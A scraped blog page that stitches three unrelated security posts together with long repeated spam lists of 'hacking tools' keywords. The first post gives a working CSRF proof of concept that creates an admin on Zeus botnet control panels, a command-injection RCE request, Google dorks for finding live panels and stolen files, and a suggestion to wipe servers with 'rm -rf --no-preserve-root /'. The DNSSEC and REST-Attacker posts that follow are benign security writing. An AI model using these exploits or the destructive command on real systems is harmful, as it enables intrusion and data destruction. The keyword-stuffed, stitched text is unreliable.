Thursday, January 18, 2024

Attacking Financial Malware Botnet Panels - Zeus

I played with leaked financial malware recently. When I saw these panels are written in PHP, my first idea was to hack them. The results are the work of one evening, please don't expect a full pentest report with all vulns found :-)

The following report is based on Zeus 2.0.8.9, which is old, but I believe a lot of Zeus clones (and C&C panels) depend on this code.

First things first, here are some Google dorks to find Zeus C&C server panel related stuff:
  • inurl:cp.php?m=login - this should be the login to the control panel
  • inurl:_reports/files  - in these folders you can find the stolen stuff, pretty funny if it gets indexed by Google
  • inurl:install/index.php - this should be deleted, but I think this is useless now.


Boring vulns found

Update: You can use the CSRF to create a new user with admin privileges:
<html> <head>     <title></title> </head> <body>     <pre>   This is a CSRF POC to create a new admin user in Zeus admin panels.   Username: user_1392719246 Password: admin1   You might change the URL from 127.0.0.1.   Redirecting in a hidden iframe in <span id="countdown">10</span> seconds.   </pre> <iframe id="csrf-frame" name="csrf-frame" style="display: none;"></iframe>     <form action="http://127.0.0.1/cp.php?m=sys_users&amp;new" id="csrf-form" method="post" name="csrf-form" target="csrf-frame">  <input name="name" type="hidden" value="user_1392719246" />   <input name="password" type="hidden" value="admin1" />   <input name="status" type="hidden" value="1" />   <input name="comment" type="hidden" value="PWND!" />  <input name="r_botnet_bots" type="hidden" value="1" />   <input name="r_botnet_scripts" type="hidden" value="1" />   <input name="r_botnet_scripts_edit" type="hidden" value="1" />   <input name="r_edit_bots" type="hidden" value="1" />   <input name="r_reports_db" type="hidden" value="1" />   <input name="r_reports_db_edit" type="hidden" value="1" />   <input name="r_reports_files" type="hidden" value="1" />  <input name="r_reports_files_edit" type="hidden" value="1" />  <input name="r_reports_jn" type="hidden" value="1" />   <input name="r_stats_main" type="hidden" value="1" />   <input name="r_stats_main_reset" type="hidden" value="1" />   <input name="r_stats_os" type="hidden" value="1" />   <input name="r_system_info" type="hidden" value="1" />   <input name="r_system_options" type="hidden" value="1" />  <input name="r_system_user" type="hidden" value="1" />   <input name="r_system_users" type="hidden" value="1" />     </form> <script type="text/javascript">  window.onload=function(){    var counter = 10;   var interval = setInterval(function() {    counter--;    document.getElementById('countdown').innerHTML = counter;    if (counter == 0) {     redirect();     clearInterval(interval);    }   }, 1000);  };     function redirect() {   document.getElementById("csrf-form").submit();     }     </script> </body> </html> 
  • MD5 password - the passwords stored in MySQL are MD5 passwords. No PBKDF2, bcrypt, scrypt, salt, whatever. MD5.
  • ClickJacking - really boring stuff
  • Remember me (MD5 cookies) - a very bad idea. In this case, the remember me function is implemented in a way where the MD5 of the password and MD5 of the username is stored in a cookie. If I have XSS, I could get the MD5(password) as well.
  • SQLi - although concatenation is used instead of parameterized queries, and addslashes are used, the integers are always quoted. This means it can be hacked only in case of special encoding like GB/Big5, pretty unlikely.

Whats good news (for the C&C panel owners)


The following stuff looks good, at least some vulns were taken seriously:
  • The system directory is protected with .htaccess deny from all.
  • gate.php - this is the "gate" between the bots and the server, this PHP is always exposed to the Internet. The execution of this PHP dies early if you don't know the key. But you can get the key from the binary of this specific botnet (another URL how to do this). If you have the key, then you can fill the database with garbage, but that's all I can think of now.
  • Anti XSS: the following code is used almost everywhere
  • return htmlspecialchars(preg_replace('|[\x00-\x09\x0B\x0C\x0E-\x1F\x7F-\x9F]|u', ' ', $string), ENT_QUOTES, 'UTF-8');
    My evil thought was to inject malicious bot_id, but it looks like it has been filtered everywhere. Sad panda.

What's really bad news (for the C&C panel owners)


And the best vuln I was able to find, remote code execution through command injection (happy panda), but only for authenticated users (sad panda).

The vulnerable code is in system/fsarc.php:

function fsarcCreate($archive, $files){    ...    $archive .= '.zip';    $cli = 'zip -r -9 -q -S "'.$archive.'" "'.implode('" "', $files).'"';    exec($cli, $e, $r); }

The exploit could not be simpler:
POST /cp.php?m=reports_files&path= HTTP/1.1 ... Content-Type: application/x-www-form-urlencoded Content-Length: 60  filesaction=1&files%5B%5D=files"||ping%20-n%2010%20127.0.0.1 
because the zip utility was not found on my Windows box. You can try to replace || with && when attacking Windows (don't forget to URL encode it!), or replace || with ; when attacking Linux. You can also link this vulnerability with the CSRF one, but it is unlikely you know both the control panel admin, and the control panel URLs. Or if this is the case, the admin should practice better OPSEC :)
Recommendation: use escapeshellcmd next time.

Next time you find a vulnerable control panel with a weak password, just rm -rf --no-preserve-root / it ;-)

That's all folks!
Special greetz to Richard (XAMPP Apache service is running as SYSTEM ;-) )

Update: Looks like the gate.php is worth to investigate if you know the RC4 key. You can upload a PHP shell :)

Related word


  1. Nsa Hack Tools Download
  2. Easy Hack Tools
  3. Hacking Apps
  4. Pentest Tools Online
  5. Hacking Tools Hardware
  6. Pentest Tools
  7. How To Make Hacking Tools
  8. How To Make Hacking Tools
  9. Tools Used For Hacking
  10. Hack Tools Pc
  11. How To Hack
  12. Pentest Tools
  13. Hack App
  14. Hacking Tools For Windows 7
  15. Hacking Tools
  16. Hacker Tools Linux
  17. Hacking Tools Free Download
  18. Pentest Tools Github
  19. Pentest Tools For Mac
  20. Ethical Hacker Tools
  21. Pentest Tools Tcp Port Scanner
  22. Hack Tools For Mac
  23. How To Make Hacking Tools
  24. Pentest Tools Free
  25. Hacker Tools Apk Download
  26. Hacking Tools Windows
  27. World No 1 Hacker Software
  28. Pentest Tools Nmap
  29. Free Pentest Tools For Windows
  30. New Hacker Tools
  31. Wifi Hacker Tools For Windows
  32. Pentest Tools Open Source
  33. World No 1 Hacker Software
  34. Hacker Tools
  35. Hacks And Tools
  36. Pentest Tools
  37. Hack Rom Tools
  38. Hack Apps
  39. Pentest Tools
  40. Pentest Tools Nmap
  41. Github Hacking Tools
  42. Growth Hacker Tools
  43. Hackers Toolbox
  44. Hacking Tools For Beginners
  45. Hack Tools For Windows
  46. Hacker Tools Hardware
  47. Top Pentest Tools
  48. Hacking Tools Usb
  49. Free Pentest Tools For Windows
  50. Hacker Tools Software
  51. Blackhat Hacker Tools
  52. Pentest Tools Apk
  53. Hack Tools Pc
  54. New Hacker Tools
  55. Hacker Tools Github
  56. Hacks And Tools
  57. Growth Hacker Tools
  58. Pentest Tools Website
  59. Usb Pentest Tools
  60. Hack Tool Apk
  61. Hacking Tools Software
  62. Pentest Tools For Windows
  63. Hacking App
  64. Pentest Tools Windows
  65. Hacking Tools Mac
  66. What Are Hacking Tools
  67. Nsa Hack Tools
  68. Hacking Tools For Windows 7
  69. Hacker Tools 2019
  70. Hacker Tools Windows
  71. Tools Used For Hacking
  72. Hacking Tools For Kali Linux
  73. New Hacker Tools
  74. Hacking Tools Windows 10
  75. Hack And Tools
  76. Hacker Tools For Mac
  77. Pentest Box Tools Download
  78. Install Pentest Tools Ubuntu
  79. Pentest Tools Online
  80. Nsa Hack Tools
  81. Pentest Tools Find Subdomains
  82. Pentest Tools For Mac
  83. Best Hacking Tools 2020
  84. Hacker Tools Linux
  85. Pentest Recon Tools
  86. Hacking Tools Download
  87. Bluetooth Hacking Tools Kali
  88. Hak5 Tools
  89. Hack Tools Pc
  90. New Hack Tools
  91. Hacking Tools For Mac
  92. Hacking Tools Usb
  93. Nsa Hack Tools
  94. Hacker Tools For Pc
  95. Hacks And Tools
  96. Pentest Tools Website Vulnerability
  97. Pentest Tools For Mac
  98. Best Hacking Tools 2020
  99. Pentest Tools Tcp Port Scanner
  100. Hack Apps
  101. Hackers Toolbox
  102. Hack Tools For Windows
  103. Hacking Tools For Pc
  104. Pentest Tools Framework
  105. Install Pentest Tools Ubuntu
  106. Pentest Tools Alternative
  107. Hacking Tools For Games
  108. Hacking Tools 2019
  109. Tools For Hacker
  110. Hacker Tools 2019
  111. Hacking Tools Name
  112. Hacking Tools Usb
  113. Hacking Tools For Pc
  114. Pentest Recon Tools
  115. Hack Tools For Windows
  116. Hack Tools For Ubuntu
  117. Hacking Tools For Mac
  118. Pentest Tools Find Subdomains
  119. Hacker Tools Linux
  120. Hacking Tools And Software
  121. Pentest Tools Find Subdomains
  122. Pentest Tools Tcp Port Scanner
  123. Hacker Tools For Mac
  124. New Hack Tools
  125. Game Hacking
  126. How To Hack
  127. Pentest Tools Online
  128. Pentest Tools Tcp Port Scanner
  129. Nsa Hack Tools
  130. Pentest Tools Tcp Port Scanner
  131. Hacking Tools For Windows
  132. Top Pentest Tools
  133. Hacks And Tools
  134. Hacker Tools Free Download
  135. Pentest Tools Port Scanner
  136. Hacker Tools Online
  137. Hacker Search Tools
  138. Pentest Tools Review
  139. Hacking Tools Hardware
  140. Hacker Tools Apk
  141. Hacking Tools Windows 10
  142. Hack App
  143. Pentest Tools Nmap
  144. Pentest Tools Open Source
  145. Hack Tools Download
  146. Hacker Hardware Tools
  147. Hack Apps
  148. Nsa Hack Tools
  149. Hacking Tools Github
  150. Hacker Tools List
  151. Hacking Tools For Mac
  152. Hacker Tools Free
  153. Hacking Tools For Kali Linux
  154. Wifi Hacker Tools For Windows
  155. Pentest Tools Url Fuzzer
  156. Underground Hacker Sites
  157. Hack Rom Tools
  158. Hacking Tools Name
  159. Hack Tools For Mac
  160. Easy Hack Tools
  161. Pentest Tools Apk
  162. Hacking Tools Github
  163. Pentest Tools Download
  164. Hacking Tools Usb
  165. Free Pentest Tools For Windows
  166. Hack Tools For Mac
  167. Hack Tools For Pc
  168. Pentest Tools For Mac
  169. Hacking Tools Pc
  170. World No 1 Hacker Software
  171. Pentest Tools Nmap
  172. Hacking Tools 2020

DNSSEC, From An End-User Perspective, Part 3

In the first post of this DNSSEC series, I have shown the problem (DNS vulnerabilities), and in the second post, the "solution." In this third post, I am going to analyze DNSSEC. Can DNSSEC protect the users against all of the attacks? Or just part of them? What about corner cases?

The following list are the attack types from the first post, where DNSSEC can protect the users:

  • DNS cache poisoning the DNS server, "Da Old way"
  • DNS cache poisoning, "Da Kaminsky way"
  • ISP hijack, for advertisement or spying purposes
  • Captive portals
  • Pentester hijacks DNS to test application via active man-in-the-middle
  • Malicious attacker hijacks DNS via active MITM

The following list are the attack types from the first post, where DNSSEC cannot protect the users:

  • Rogue DNS server set via malware
  • Having access to the DNS admin panel and rewriting the IP
  • ISP hijack, for advertisement or spying purposes
  • Captive portals
  • Pentester hijacks DNS to test application via active man-in-the-middle
  • Malicious attacker hijacks DNS via active MITM

If you are a reader who thinks while reading, you might say "What the hell? Am I protected or not???". The problem is that it depends… In the case where the attacker is between you and your DNS server, the attacker can impersonate the DNS server, downgrade it to a non DNSSEC aware one, and send responses without DNSSEC information.

Now, how can I protect against all of these attacks? Answer is "simple":
  1. Configure your own DNSSEC aware server on your localhost, and use that as a resolver. This is pretty easy, even I was able to do it using tutorials.
  2. Don't let malware run on your system! ;-)
  3. Use at least two-factor authentication for admin access of your DNS admin panel.
  4. Use a registry lock (details in part 1).
  5. Use a DNSSEC aware OS.
  6. Use DNSSEC protected websites.
  7. There is a need for an API or something, where the client can enforce DNSSEC protected answers. In case the answer is not protected with DNSSEC, the connection can not be established.

Now some random facts, thoughts, solutions around DNSSEC:

That's all folks, happy DNSSEC configuring ;-)

Note from David:
Huh, I have just accidentally deleted this whole post from Z, but then I got it back from my browsing cache. Big up to Nir Sofer for his ChromeCacheView tool! Saved my ass from kickin'! :D

Related articles


  1. Pentest Tools Subdomain
  2. Best Pentesting Tools 2018
  3. Hack Tools Online
  4. Hacking Tools For Windows Free Download
  5. Hacking Apps
  6. Hacker Tools Free
  7. Hacker Tools For Ios
  8. Hacking Tools Github
  9. Pentest Tools Bluekeep
  10. Hacker Tools For Ios
  11. Hack App
  12. What Is Hacking Tools
  13. Hacker Tools Apk
  14. Hacking Tools Online
  15. Physical Pentest Tools
  16. Ethical Hacker Tools
  17. Tools Used For Hacking
  18. Ethical Hacker Tools
  19. Pentest Tools Tcp Port Scanner
  20. Hacker Tools List
  21. Pentest Tools Bluekeep
  22. Hacker
  23. Pentest Tools Bluekeep
  24. Hack Tools Github
  25. How To Install Pentest Tools In Ubuntu
  26. Hack App
  27. Nsa Hack Tools Download
  28. Pentest Tools Open Source
  29. Wifi Hacker Tools For Windows
  30. Pentest Tools For Android
  31. Hacker Tools Apk
  32. Hacker Tools Mac
  33. Hacking Tools Windows
  34. Hack Tools
  35. Hack Tools Download
  36. Physical Pentest Tools
  37. Free Pentest Tools For Windows
  38. Hacker Tools Github
  39. Hack Tools Github
  40. Hacking Tools Free Download
  41. Hack App
  42. Pentest Tools Windows
  43. Wifi Hacker Tools For Windows
  44. Usb Pentest Tools
  45. Hacker Search Tools
  46. Pentest Tools Android
  47. Hacking Tools And Software
  48. Hacking Tools Kit
  49. Hacker Tools Free
  50. Pentest Tools Review
  51. Hacking Tools Hardware
  52. Hacker Tools Software
  53. Ethical Hacker Tools
  54. Hack Tool Apk No Root
  55. Hack Website Online Tool
  56. Pentest Tools Subdomain
  57. Hacking Tools For Mac
  58. Pentest Tools Url Fuzzer
  59. Hacker Tools Mac
  60. Hacking Tools For Beginners
  61. Tools Used For Hacking
  62. Hacker Tool Kit
  63. Black Hat Hacker Tools
  64. Pentest Tools For Ubuntu
  65. World No 1 Hacker Software
  66. Hacker Tools Free Download
  67. Hack Tools Github
  68. Pentest Tools List
  69. Pentest Tools Tcp Port Scanner
  70. Hacking Tools For Beginners
  71. Nsa Hack Tools
  72. Kik Hack Tools
  73. Hacker Tools Linux
  74. Pentest Tools Port Scanner
  75. Pentest Tools Port Scanner
  76. Pentest Tools Open Source
  77. Pentest Tools Online
  78. Pentest Tools Download
  79. Nsa Hack Tools Download
  80. Pentest Tools
  81. What Are Hacking Tools
  82. Android Hack Tools Github
  83. What Are Hacking Tools
  84. Nsa Hack Tools
  85. Pentest Recon Tools
  86. Hack Tool Apk
  87. Best Hacking Tools 2019
  88. Hacker Tools
  89. How To Make Hacking Tools
  90. Hacker Tools 2020
  91. Easy Hack Tools
  92. Hack Tools Pc
  93. Pentest Tools Port Scanner
  94. Pentest Tools Open Source
  95. Hacker Tools Free
  96. Black Hat Hacker Tools
  97. Black Hat Hacker Tools
  98. Game Hacking
  99. Hak5 Tools
  100. Pentest Tools For Ubuntu
  101. Hacker Tools Free
  102. Hacking Tools For Kali Linux
  103. Black Hat Hacker Tools
  104. Hack Tools For Games
  105. Pentest Tools For Mac
  106. Hack And Tools
  107. Hack Website Online Tool
  108. Pentest Tools Framework
  109. Pentest Tools Windows
  110. Hack Rom Tools
  111. Hack Tools
  112. Hack Rom Tools
  113. Pentest Tools Find Subdomains
  114. New Hack Tools
  115. Hack Tools Github
  116. Hack Tools For Windows
  117. Hacking Tools Hardware
  118. Hacking Tools Download
  119. Hacking Tools For Pc
  120. Hacker Tools For Ios
  121. Hacker Tools For Mac
  122. Hack Tool Apk No Root
  123. Hacking Tools Name
  124. Hack Tools For Ubuntu
  125. Pentest Tools Framework
  126. Pentest Tools Alternative
  127. Blackhat Hacker Tools
  128. Physical Pentest Tools
  129. Hacking Tools For Games
  130. Hack Tools Github
  131. What Are Hacking Tools
  132. Hacking Tools Download
  133. Hack Tools
  134. Nsa Hack Tools
  135. Hacker Tools Github
  136. Termux Hacking Tools 2019
  137. Hacking Tools For Mac
  138. Hacker Tools Free
  139. Hacker Tools 2020
  140. Hacker Tools For Ios
  141. Nsa Hacker Tools
  142. Pentest Tools Online
  143. Hacker Tools Free
  144. Hacking Tools Kit
  145. Pentest Tools Linux
  146. Black Hat Hacker Tools
  147. Beginner Hacker Tools
  148. Hacker Tools 2019
  149. Hacker Tools Apk Download
  150. Bluetooth Hacking Tools Kali
  151. Hack Tools Download
  152. Best Hacking Tools 2019
  153. Hack Tools For Ubuntu
  154. How To Install Pentest Tools In Ubuntu
  155. Hacking Tools For Beginners
  156. Hack Tools Download

Automating REST Security Part 2: Tool-based Analysis With REST-Attacker

Our previous blog post described the challenges in analyzing REST API implementations. Despite the lack of REST standardization, we learned that similarities between implementations exist and that we can utilize them for tool-based REST security analysis.

This blog post will now look at our own implementation. REST-Attacker is a free software analysis tool specifically built to analyze REST API implementations and their access control measures. Using REST-Attacker as an example, this blog post will discuss how a REST security tool can work and where it can improve or streamline the testing process, especially in terms of automation.

Author

Christoph Heine

Overview

 Premise

REST-Attacker was developed as part of a master's thesis at the Chair for Network & Data Security at the Ruhr University Bochum. The primary motivation behind creating REST-Attacker was to evaluate how far we could push automation for REST security analysis. Hence, REST-Attacker provides several automation features such as automated test generation, test execution, and API communication. The tool essentially takes a "lazy tester" approach that tries to minimize the necessary amount of manual interaction as much as possible.

Creating a test run requires an OpenAPI file describing the REST API. Optional configuration, such as authentication credentials, can be provided to access protected API endpoints or run advanced test cases. Based on the API description and configuration, the tool can automatically generate complete test runs and execute them automatically. For this purpose, the current release version provides 32 built-in security test cases for analyzing various security issues and best practices.

How Testing Works

REST-Attacker can be used as a stand-alone CLI tool or as a Python module for integration in your own toolchain. In this blog post, we will mainly focus on running the tool via CLI. If you want to learn more about advanced usage, we recommend you read the docs.

Starting a basic test run looks like this:

python3 -m rest_attacker openapi.json --generate 

openapi.json is an OpenAPI file that describes the API we want to test. The --generate flag activates load-time test generation to automatically create a test run. In practice, this means that the tool passes the OpenAPI file to a test generation function of every available test case, which then returns a list of tests for the specific API. After creating the test run, REST-Attacker executes all tests one by one and saves the results.

There's also a second option for run-time test generation using the --propose flag:

python3 -m rest_attacker openapi.json --generate --propose 

In comparison to --generate, which creates tests from the OpenAPI description before starting the test run, --propose generates tests during a test run by considering the results of already executed tests. This option can be useful for some test cases where we want to take the responses of the API into account and run a follow-up test based on the observed behavior.

Both test generation methods can significantly speed up testing because they allow the creation of entire test runs without manual input. However, their feasibility often heavily depends on the verbosity and accuracy of the configuration data. Remember that many definitions, such as security requirements, are optional in the OpenAPI format, i.e., services can choose to omit them. API descriptions can also be outdated or contain errors, particularly if they are unofficial user-created versions. Despite all these limitations, an automated generation often works surprisingly well.

If you don't want to use the tool's generators, test runs can also be specified manually. For this purpose, you just pass a list of tests, including their serialized input parameters, via a config file:

python3 -m rest_attacker openapi.json --run example_run.json 

Advanced Automation

So far, we have only covered the automation of the test generation. However, what's even more interesting is that we can also automate much of the test execution process in REST-Attacker. The challenging part here is the streamlining of API communication. If you remember our previous blog post, you know that it basically involves these three steps:

  1. Preparing API request parameters
  2. Preparing access control data (handling authentication/authorization)
  3. Sending the request

Since most REST APIs are HTTP-based, step 3. is relatively trivial as any standard HTTP library will do the job. For example, REST-Attacker uses the popular Python requests module for its request backend. Step 1. is part of the test generation process and can be realized by using information from the machine-readable OpenAPI file, which we've already discussed. In the final step, we have to look at the access control (step 2.), which is especially relevant for security testing. Unfortunately, it is a bit more complex.

The problem is generally not that REST APIs use different access control methods. They are either standardized (HTTP Basic Auth, OAuth2) or extremely simple (API keys). Instead, complications often arise from the API-specific configuration and requirements for how these methods should be used and how credentials are integrated into the API request. For example, implementations may decide:

  • where credentials are located in the HTTP request (e.g., header, query, cookie, ...)
  • how credentials are encoded/formatted (e.g., Base64 encoding or use of keywords)
  • whether a combination of methods is required (e.g., API key + OAuth2)
  • (OAuth2) which authorization flows are supported
  • (OAuth2) which access scopes are supported
  • ...

Thereby, we cannot rely on an access control method, e.g., OAuth2, being used in the same way across different APIs. Furthermore, a lot of this information cannot be described in the OpenAPI format, so we have to find another solution. In REST-Attacker, we solve this problem with an additional custom configuration for access control. An example can be seen below (unfold it):

{     "schemes": {         "scheme0": {             "type": "header",             "key_id": "authorization",             "payload": "token {0}",             "params": {                 "0": {                     "id": "access_token",                     "from": [                         "token0",                     ]                 }             }         }     },     "creds": {         "client0": {             "type": "oauth2_client",             "description": "OAuth Client",             "client_id": "aabbccddeeff123456789",             "client_secret": "abcdef12345678998765431fedcba",             "redirect_uri": "https://localhost:1234/test/",             "authorization_endpoint": "https://example.com/login/oauth/authorize",             "token_endpoint": "https://example.com/login/oauth/token",             "grants": [                 "code",                 "token"             ],             "scopes": [                 "user"             ],             "flags": []         }     },     "required_always": {         "setting0": [             "scheme0"         ]     },     "required_auth": {},     "users": {         "user0": {             "account_id": "user",             "user_id": "userXYZ",             "owned_resources": {},             "allowed_resources": {},             "sessions": {                 "gbrowser": {                     "type": "browser",                     "exec_path": "/usr/bin/chromium",                     "local_port": "1234"                 }             },             "credentials": [                 "client0"             ]         }     } } 

The config file contains everything required for getting access to the API. schemes define location and encoding of credentials in the HTTP request, while credentials contain login credentials for either users or OAuth2 clients. There are also definitions for the required access control schemes for general access to the API (required_always) as well as for user-protected access (required_auth). For the purpose of authorization, we can additionally provide user definitions with session information. The latter can be used to create or access an active user session to retrieve OAuth2 tokens from the service.

Starting REST-Attacker with an access control config is similar as before. Instead of only passing the OpenAPI file, we use a folder that contains all configuration files:

python3 -m rest_attacker cfg/example --generate 

REST-Attacker completely handles all access control requirements in the background. Manual intervention is sometimes necessary, e.g., when there's a confirmation page for OAuth2 authorization. However, most of the steps, from selecting the proper access control schemes to retrieving OAuth2 tokens and creating the request payload, are all handled by REST-Attacker.

Interpreting Results

After a test run, REST-Attacker exports the test results to a report file. Every report gives a short summary of the test run and the results for each executed test case. Here you can see an example of a report file (unfold it):

{     "type": "report",     "stats": {         "start": "2022-07-16T14-27-20Z",         "end": "2022-07-16T14-27-25Z",         "planned": 1,         "finished": 1,         "skipped": 0,         "aborted": 0,         "errors": 0,         "analytical_checks": 0,         "security_checks": 1     },     "reports": [         {             "check_id": 0,             "test_type": "security",             "test_case": "https.TestHTTPAvailable",             "status": "finished",             "issue": "security_flaw",             "value": {                 "status_code": 200             },             "curl": "curl -X GET http://api.example.com/user",             "config": {                 "request_info": {                     "url": "http://api.example.com",                     "path": "/user",                     "operation": "get",                     "kwargs": {                         "allow_redirects": false                     }                 },                 "auth_info": {                     "scheme_ids": null,                     "scopes": null,                     "policy": "DEFAULT"                 }             }         }     ] } 

Individual test reports contain a basic classification of the detected behavior in the issue parameter and the detailed reasons for this interpretation in the value object. The meaning of the classification depends on the test case ID, which is stored in the test_case parameter. In the example above, the https.TestHTTPAvailable checks if an API endpoint is accessible via plain HTTP without transport security (which is generally considered unsafe). The API response is an HTTP message with status code 200, so REST-Attacker classifies the behavior as a flaw.

By default, reports also contain every test's configuration parameters and can be supplied back to the tool as a manual test run configuration. This is very useful if we want to reproduce a run to see if detected issues have been fixed.

python3 -m rest_attacker openapi.json --run report.json 

Conclusion

By now, you should know what REST API tools like REST-Attacker are capable of and how they can automate the testing process. In our next and final blog post, we will take a deeper look at practical testing with the REST-Attacker. To do this, we will present security test categories that are well-suited for tool-based analysis and investigate how we can apply them to test several real-world API implementations.

Acknowledgement

The REST-Attacker project was developed as part of a master's thesis at the Chair of Network & Data Security of the Ruhr University Bochum. I would like to thank my supervisors Louis Jannett, Christian Mainka, Vladislav Mladenov, and Jörg Schwenk for their continued support during the development and review of the project.

Read more


  1. Pentest Tools For Ubuntu
  2. Blackhat Hacker Tools
  3. Hack Tools Pc
  4. Hak5 Tools
  5. Hacker Tools For Windows
  6. Hack And Tools
  7. Hack Tools 2019
  8. Hacker Tools For Ios
  9. Pentest Reporting Tools
  10. Hacking Tools Windows 10
  11. Hacker Security Tools
  12. Pentest Tools Url Fuzzer
  13. Bluetooth Hacking Tools Kali
  14. Hacking Tools Mac
  15. Hacker Tools Hardware
  16. Install Pentest Tools Ubuntu
  17. Pentest Tools Alternative
  18. Hak5 Tools
  19. Hacking Tools For Windows
  20. Hacking Tools Usb
  21. Android Hack Tools Github
  22. Pentest Tools Open Source
  23. Bluetooth Hacking Tools Kali
  24. World No 1 Hacker Software
  25. Pentest Tools Nmap
  26. Hack Tools 2019
  27. Hacking Tools Hardware
  28. Hacking Tools For Beginners
  29. Hacking Tools Github
  30. Usb Pentest Tools
  31. Hacking Tools For Windows 7
  32. Pentest Tools Website
  33. Black Hat Hacker Tools
  34. Hack Tools For Games
  35. Hacking Tools Github
  36. Hack Rom Tools
  37. Pentest Tools Find Subdomains
  38. Hack Tools Github
  39. Hack Tools Download
  40. Pentest Recon Tools
  41. Android Hack Tools Github
  42. Pentest Tools Find Subdomains
  43. Hacking Tools
  44. Hack Tools For Games
  45. Hacker Tools 2019
  46. Hacking Tools For Mac
  47. Hacking Tools And Software
  48. Blackhat Hacker Tools
  49. Best Pentesting Tools 2018
  50. Game Hacking
  51. Hacking Tools And Software
  52. Hacking Tools For Pc
  53. Hacking Tools Windows 10
  54. Usb Pentest Tools
  55. Pentest Reporting Tools